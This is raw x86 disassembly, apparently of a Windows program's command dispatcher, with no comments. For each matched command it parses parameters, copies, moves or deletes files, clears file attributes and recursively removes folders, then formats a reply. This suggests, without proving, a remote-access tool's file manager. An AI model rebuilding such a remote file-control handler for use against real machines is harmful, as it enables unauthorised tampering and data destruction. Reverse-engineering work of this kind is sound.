lea edx, [ebp - 0x1c50]
call fcn.0058feb0
mov eax, dword [ebp - 0x1c50]
call fcn.00593c54
test al, al
je 0x5a3c45
push 0
lea eax, [ebp - 0x1c70]
push eax
lea ecx, [ebp - 0x1c74]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c74]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c70]
lea edx, [ebp - 0x1c6c]
call fcn.00593948
mov eax, dword [ebp - 0x1c6c]
lea edx, [ebp - 0x1c68]
call fcn.0058feb0
mov eax, dword [ebp - 0x1c68]
lea edx, [ebp - 0x1c64]
call fcn.0040bb78
mov eax, dword [ebp - 0x1c64]
lea edx, [ebp - 0x1c60]
call fcn.00589d4c
lea eax, [ebp - 0x1c60]
mov edx, 0x5ae770
call fcn.00405d10
mov eax, dword [ebp - 0x1c60]
call fcn.00405ed4
push eax
lea edx, [ebp - 0x1c80]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1c80]
lea edx, [ebp - 0x1c7c]
call fcn.0040bb78
mov eax, dword [ebp - 0x1c7c]
lea edx, [ebp - 0x1c78]
call fcn.00589d4c
lea eax, [ebp - 0x1c78]
mov edx, 0x5ae770
call fcn.00405d10
mov eax, dword [ebp - 0x1c78]
call fcn.00405ed4
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x1c8c]
push eax
lea ecx, [ebp - 0x1c90]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c90]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c8c]
lea edx, [ebp - 0x1c88]
call fcn.00593948
mov eax, dword [ebp - 0x1c88]
lea edx, [ebp - 0x1c84]
call fcn.0058feb0
mov edx, dword [ebp - 0x1c84]
mov eax, dword [0x5d4820]
call fcn.00405a98
lea eax, [ebp - 0x1c9c]
push eax
lea ecx, [ebp - 0x1ca0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ca0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c9c]
lea edx, [ebp - 0x1c98]
call fcn.00593948
mov eax, dword [ebp - 0x1c98]
lea edx, [ebp - 0x1c94]
call fcn.0058feb0
mov edx, dword [ebp - 0x1c94]
mov eax, dword [0x5d4730]
call fcn.00405a98
mov eax, dword [0x5d48a4]
mov byte [eax], 0
lea eax, [ebp - 0x1ca4]
push eax
lea ecx, [ebp - 0x1ca8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ca8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1ca4]
call fcn.00593654
mov edx, dword [0x5d5048]
mov byte [edx], al
mov eax, dword [0x5d4ba4]
mov byte [eax], 0
mov eax, dword [0x5d4f00]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58b880]
call fcn.0042a378
mov dword [ebp - 0x52c], eax
lea edx, [ebp - 0x1cac]
mov eax, 0x5ad914
call fcn.0058ff78
mov eax, dword [ebp - 0x1cac]
call fcn.0040b2d4
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1cb0]
mov eax, 0x5ad8d4
call fcn.0058ff78
mov eax, dword [ebp - 0x1cb0]
call fcn.005b3a68
mov eax, dword [ebp - 0x52c]
call fcn.0058ed3c
mov eax, dword [0x5d4ba4]
cmp byte [eax], 0
je 0x5a38e6
mov eax, dword [0x5d4f00]
mov byte [eax], 0
lea eax, [ebp - 0x1cc4]
push eax
lea ecx, [ebp - 0x1cc8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cc8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1cc4]
lea edx, [ebp - 0x1cc0]
call fcn.00593948
mov eax, dword [ebp - 0x1cc0]
lea edx, [ebp - 0x1cbc]
call fcn.0058feb0
mov eax, dword [ebp - 0x1cbc]
lea edx, [ebp - 0x1cb8]
call fcn.0040bb78
mov eax, dword [ebp - 0x1cb8]
lea edx, [ebp - 0x1cb4]
call fcn.00589d4c
lea eax, [ebp - 0x1cb4]
mov edx, 0x5ae770
call fcn.00405d10
mov eax, dword [ebp - 0x1cb4]
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x740]
call fcn.00405ed4
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x741], al
lea eax, [ebp - 0x1cd4]
push eax
lea ecx, [ebp - 0x1cd8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cd8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1cd4]
lea edx, [ebp - 0x1cd0]
call fcn.00593948
mov eax, dword [ebp - 0x1cd0]
lea edx, [ebp - 0x1ccc]
call fcn.0058feb0
mov eax, dword [ebp - 0x1ccc]
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x748]
call fcn.00405ed4
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x749], al
lea eax, [ebp - 0x1ce4]
push eax
lea ecx, [ebp - 0x1ce8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ce8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1ce4]
lea edx, [ebp - 0x1ce0]
call fcn.00593948
mov eax, dword [ebp - 0x1ce0]
lea edx, [ebp - 0x1cdc]
call fcn.0058feb0
lea eax, [ebp - 0x1cdc]
mov edx, 0x5aeb0c
call fcn.00405d10
mov eax, dword [ebp - 0x1cdc]
mov dword [ebp - 0x750], eax
lea eax, [ebp - 0x1cf4]
push eax
lea ecx, [ebp - 0x1cf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cf8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1cf4]
lea edx, [ebp - 0x1cf0]
call fcn.00593948
mov eax, dword [ebp - 0x1cf0]
lea edx, [ebp - 0x1cec]
call fcn.0058feb0
mov eax, dword [ebp - 0x1cec]
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x754]
call fcn.00405ed4
push eax
mov eax, dword [ebp - 0x750]
call fcn.00405ed4
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x755], al
mov eax, dword [0x5d4d38]
mov eax, dword [eax]
mov dword [ebp - 0x54c], eax
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1cfc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cfc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3b0], 0
je 0x5a3cf7
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a3c00
lea edx, [ebp - 0x1d00]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1d00]
push eax
lea eax, [ebp - 0x1d04]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1d04]
xor edx, edx
pop eax
call fcn.0058ffac
lea edx, [ebp - 0x1d08]
mov eax, dword [ebp - 0x54c]
call fcn.0040b198
mov eax, dword [ebp - 0x1d08]
push eax
lea eax, [ebp - 0x1d0c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1d0c]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.0058ffe4
jmp 0x5a3cf7
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d10]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d10]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3b0], 0
je 0x5a3cf7
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a3ccb
lea edx, [ebp - 0x1d14]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1d14]
push eax
lea eax, [ebp - 0x1d18]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1d18]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x1d1c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1d1c]
mov edx, 0x5aeb1c
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb28
call fcn.00405e6c
jne 0x5a4013
xor eax, eax
push ebp
push 0x5a400c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1d28]
push eax
lea ecx, [ebp - 0x1d2c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d2c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1d28]
lea edx, [ebp - 0x1d24]
call fcn.00593948
mov eax, dword [ebp - 0x1d24]
lea edx, [ebp - 0x1d20]
call fcn.0058feb0
mov edx, dword [ebp - 0x1d20]
mov eax, dword [0x5d4820]
call fcn.00405a98
lea eax, [ebp - 0x1d30]
push eax
lea ecx, [ebp - 0x1d34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d34]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1d30]
call fcn.00593654
mov edx, dword [0x5d48a4]
mov byte [edx], al
lea eax, [ebp - 0x1d40]
push eax
lea ecx, [ebp - 0x1d44]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d44]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1d40]
lea edx, [ebp - 0x1d3c]
call fcn.00593948
mov eax, dword [ebp - 0x1d3c]
lea edx, [ebp - 0x1d38]
call fcn.0058feb0
mov edx, dword [ebp - 0x1d38]
mov eax, dword [0x5d4730]
call fcn.00405a98
lea eax, [ebp - 0x1d48]
push eax
lea ecx, [ebp - 0x1d4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d4c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1d48]
call fcn.00593654
mov edx, dword [0x5d5048]
mov byte [edx], al
mov eax, dword [0x5d4ba4]
mov byte [eax], 0
mov eax, dword [0x5d4f00]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58b880]
call fcn.0042a378
mov dword [ebp - 0x52c], eax
lea edx, [ebp - 0x1d50]
mov eax, 0x5ad914
call fcn.0058ff78
mov eax, dword [ebp - 0x1d50]
call fcn.0040b2d4
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1d54]
mov eax, 0x5ad8d4
call fcn.0058ff78
mov eax, dword [ebp - 0x1d54]
call fcn.005b3a68
mov eax, dword [ebp - 0x52c]
call fcn.0058ed3c
mov eax, dword [0x5d4ba4]
cmp byte [eax], 0
je 0x5a3eba
mov eax, dword [0x5d4f00]
mov byte [eax], 0
mov eax, dword [0x5d4d38]
mov eax, dword [eax]
mov dword [ebp - 0x54c], eax
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d58]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d58]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3b0], 0
je 0x5a3fef
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a3faf
lea edx, [ebp - 0x1d5c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1d5c]
push eax
lea eax, [ebp - 0x1d60]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1d60]
xor edx, edx
pop eax
call fcn.0058ffac
lea edx, [ebp - 0x1d64]
mov eax, dword [ebp - 0x54c]
call fcn.0040b198
mov eax, dword [ebp - 0x1d64]
push eax
lea eax, [ebp - 0x1d68]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1d68]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb3c
call fcn.00405e6c
jne 0x5a4151
xor eax, eax
push ebp
push 0x5a414a
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d6c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d6c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea eax, [ebp - 0x1d70]
push eax
lea ecx, [ebp - 0x1d74]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d74]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1d70]
call fcn.00593654
mov byte [ebp - 0x57d], al
lea edx, [ebp - 0x1d78]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ff78
mov eax, dword [ebp - 0x1d78]
lea edx, [ebp - 0x3c0]
call fcn.0058feb0
cmp byte [ebp - 0x57d], 0
je 0x5a40ef
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058a724
jmp 0x5a4100
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058a5b8
lea eax, [ebp - 0x1d7c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1d7c]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb54
call fcn.00405e6c
jne 0x5a427f
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d80]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d80]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea eax, [ebp - 0x1d84]
push eax
lea ecx, [ebp - 0x1d88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d88]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1d84]
call fcn.00593654
mov byte [ebp - 0x57d], al
lea edx, [ebp - 0x1d8c]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ff78
mov eax, dword [ebp - 0x1d8c]
lea edx, [ebp - 0x3c0]
call fcn.0058feb0
cmp byte [ebp - 0x57d], 0
je 0x5a422b
lea edx, [ebp - 0x1d90]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab58
mov edx, dword [ebp - 0x1d90]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
jmp 0x5a424d
lea edx, [ebp - 0x1d94]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab90
mov edx, dword [ebp - 0x1d94]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
lea eax, [ebp - 0x1d98]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1d98]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb6c
call fcn.00405e6c
jne 0x5a453f
lea eax, [ebp - 0x1d9c]
push eax
lea ecx, [ebp - 0x1da0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1da0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1d9c]
lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a4313
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1da4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1da4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea eax, [ebp - 0x1da8]
push eax
lea ecx, [ebp - 0x1dac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dac]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1da8]
call fcn.00593654
mov byte [ebp - 0x580], al
lea eax, [ebp - 0x1db0]
push eax
lea ecx, [ebp - 0x1db4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1db4]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1db0]
call fcn.00593654
mov byte [ebp - 0x581], al
cmp byte [ebp - 0x580], 0
jne 0x5a43b8
cmp byte [ebp - 0x581], 0
jne 0x5a43b8
movzx eax, byte [0x5ae21c]
mov byte [ebp - 0x631], al
cmp byte [ebp - 0x580], 0
je 0x5a43d7
cmp byte [ebp - 0x581], 0
je 0x5a43d7
movzx eax, byte [0x5ae348]
mov byte [ebp - 0x631], al
cmp byte [ebp - 0x580], 0
je 0x5a43f6
cmp byte [ebp - 0x581], 0
jne 0x5a43f6
movzx eax, byte [0x5aeb7c]
mov byte [ebp - 0x631], al
cmp byte [ebp - 0x580], 0
jne 0x5a4415
cmp byte [ebp - 0x581], 0
je 0x5a4415
movzx eax, byte [0x5ae218]
mov byte [ebp - 0x631], al
movzx eax, byte [ebp - 0x631]
push eax
lea eax, [ebp - 0x1db8]
push eax
lea eax, [ebp - 0x1dc4]
push eax
lea ecx, [ebp - 0x1dc8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dc8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1dc4]
lea edx, [ebp - 0x1dc0]
call fcn.00593948
mov eax, dword [ebp - 0x1dc0]
lea edx, [ebp - 0x1dbc]
call fcn.0058fe30
mov eax, dword [ebp - 0x1dbc]
push eax
lea eax, [ebp - 0x1dd4]
push eax
lea ecx, [ebp - 0x1dd8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dd8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1dd4]
lea edx, [ebp - 0x1dd0]
call fcn.00593948
mov eax, dword [ebp - 0x1dd0]
lea edx, [ebp - 0x1dcc]
call fcn.0058fe30
mov eax, dword [ebp - 0x1dcc]
push eax
lea edx, [ebp - 0x1ddc]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ff78
mov eax, dword [ebp - 0x1ddc]
pop edx
pop ecx
call fcn.004ad520
mov eax, dword [ebp - 0x1db8]
push eax
lea edx, [ebp - 0x1de0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1de0]
push eax
lea eax, [ebp - 0x1de4]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1de4]
pop eax
pop edx
call fcn.0058ffac
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb88
call fcn.00405e6c
jne 0x5a47da
xor eax, eax
push ebp
push 0x5a47d3
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1de8]
push eax
lea ecx, [ebp - 0x1dec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1de8]
lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a45e6
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1df0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1df0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], 0
mov dword [ebp - 0x648], 0
mov dword [ebp - 0x644], 0
push 0
lea eax, [ebp - 0x648]
push eax
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x1df8]
push eax
lea ecx, [ebp - 0x1dfc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dfc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1df8]
lea edx, [ebp - 0x1df4]
call fcn.0058feb0
mov eax, dword [ebp - 0x1df4]
call fcn.00405ed4
push eax
mov eax, dword [0x5d4ab4]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a46c1
lea edx, [ebp - 0x1e00]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1e00]
push eax
lea eax, [ebp - 0x1e04]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1e04]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x1e08]
push eax
lea ecx, [ebp - 0x1e0c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e0c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1e08]
call fcn.00593654
test al, al
je 0x5a475d
push dword [ebp - 0x63c]
push dword [ebp - 0x640]
lea eax, [ebp - 0x1e10]
call fcn.0040b284
mov eax, dword [ebp - 0x1e10]
push eax
lea edx, [ebp - 0x1e14]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1e14]
push eax
lea eax, [ebp - 0x1e18]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1e18]
pop eax
pop edx
call fcn.0058ffe4
jmp 0x5a47b6
push dword [ebp - 0x644]
push dword [ebp - 0x648]
lea eax, [ebp - 0x1e1c]
call fcn.0040b284
mov eax, dword [ebp - 0x1e1c]
push eax
lea edx, [ebp - 0x1e20]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1e20]
push eax
lea eax, [ebp - 0x1e24]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1e24]
pop eax
pop edx
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeba4
call fcn.00405e6c
jne 0x5a49d8
xor eax, eax
push ebp
push 0x5a49d1
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
xor ebx, ebx
test ebx, ebx
je 0x5a4810
mov eax, ebx
call fcn.00404ae4
lea eax, [ebp - 0x1e2c]
push eax
lea ecx, [ebp - 0x1e30]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e30]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1e2c]
lea edx, [ebp - 0x1e28]
call fcn.0058feb0
mov eax, dword [ebp - 0x1e28]
mov cl, 1
mov dl, 1
call fcn.0057a6fc
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
mov dword [ebp - 0x54c], eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x5a48f9
mov dword [ebp - 0x550], eax
push 0x80
lea ecx, [ebp - 0x1e34]
mov edx, dword [ebp - 0x550]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e34]
call fcn.00405ed4
push eax
call sub.kernel32.dll_SetFileAttributesA
lea ecx, [ebp - 0x1e38]
mov edx, dword [ebp - 0x550]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e38]
mov dword [ebp - 0x75c], eax
mov eax, dword [ebp - 0x75c]
call fcn.00405ed4
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x75d], al
dec dword [ebp - 0x550]
cmp dword [ebp - 0x550], 0
jne 0x5a4883
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x5a493f
mov dword [ebp - 0x550], eax
lea ecx, [ebp - 0x1e3c]
mov edx, dword [ebp - 0x550]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e3c]
call fcn.00405ed4
push eax
call sub.kernel32.dll_RemoveDirectoryA
dec dword [ebp - 0x550]
cmp dword [ebp - 0x550], 0
jne 0x5a490b
mov eax, ebx
call fcn.00404ae4
lea eax, [ebp - 0x1e44]
push eax
lea ecx, [ebp - 0x1e48]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e48]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1e44]
lea edx, [ebp - 0x1e40]
call fcn.0058feb0
mov eax, dword [ebp - 0x1e40]
mov cl, 1
mov dl, 1
call fcn.0057a6fc
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x54c]
jne 0x5a4805
mov eax, ebx
call fcn.00404ae4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aebc4
call fcn.00405e6c
jne 0x5a4c94
xor eax, eax
push ebp
push 0x5a4c8d
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1e4c]
push eax
lea ecx, [ebp - 0x1e50]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e50]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1e4c]
